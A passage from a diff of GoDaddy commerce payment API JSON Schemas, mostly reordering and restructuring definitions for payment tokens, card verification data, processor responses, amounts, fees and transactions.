[ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true } + }, + "required": [ + "token" ], + "title": "ApplePayPaymentToken", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } - }, + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPin": { + "description": "Card pin block.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + }, + "title": "Card VerificationData", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } - } + }, + "title": "PaymentTokenFundingSource", + "type": "object" } ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, "properties": { - "processorType": { - "type": "string" + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true } }, "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" } }, "required": [ - "amount", - "createdAt" - ] + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true } - ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" }, "readOnly": true, - "description": "Authorizations for the payment" + "type": "array" }, - "adjustments": { - "type": "array", + "sales": { + "description": "Sales for the payment", "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, "amount": { - "description": "Transaction amount", "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Payment amount", "format": "int64", - "description": "Payment amount" + "type": "integer" }, "currency": { - "description": "Payment currency", "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ "amount", "currency" - ] + ], + "title": "Simple Amount", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + "description": "Cashback details", + "type": "integer" }, "currency": { - "description": "Amount currency", "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", + "description": "ISO 4217 Currency codes", "example": "USD", - "minLength": 3, "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, "fees": { - "type": "array", + "description": "Fees if any", "items": { "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, "type": { - "type": "string", - "example": "Shipping", "description": "Fee type", + "example": "Shipping", + "maxLength": 64, "minLength": 2, - "maxLength": 64 + "type": "string" } }, "required": [ "amount", "type" - ] + ], + "title": "SimpleFee", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Fee amount" + "type": "integer" }, - "type": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "example": "SURCHARGE", + "writeOnly": true + }, + "type": { "description": "Fee Program type", "enum": [ "SURCHARGE", "SERVICE_FEE", "CONVENIENCE_FEE", "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + ], + "example": "SURCHARGE", + "type": "string" } }, "required": [ "amount", "type", "signature" - ] + ], + "title": "GovernedFee", + "type": "object" } ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { "feeType": { - "type": "string", - "description": "Fee type discriminator" + "description": "Fee type discriminator", + "type": "string" } }, "required": [ "feeType" - ] + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "description": "Fees if any" + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ "total", "currency" - ] + ], + "title": "Detailed Amount", + "type": "object" } ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, "properties": { "amountType": { "type": "string" } - } + }, + "title": "Amount", + "type": "object" }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "context": { - "description": "Transaction context", "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", "description": "Payment Context details", "properties": { "channelId": { "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", "example": "id", - "readOnly": true + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, "merchantInitiatedTransaction": { - "type": "boolean", "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } ], + "description": "Transaction context", + "title": "TransactionContext", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" }, "processorResponse": { - "readOnly": true, - "description": "Processor response", "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "interacMacResult": { - "type": "string", + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Interac mac result 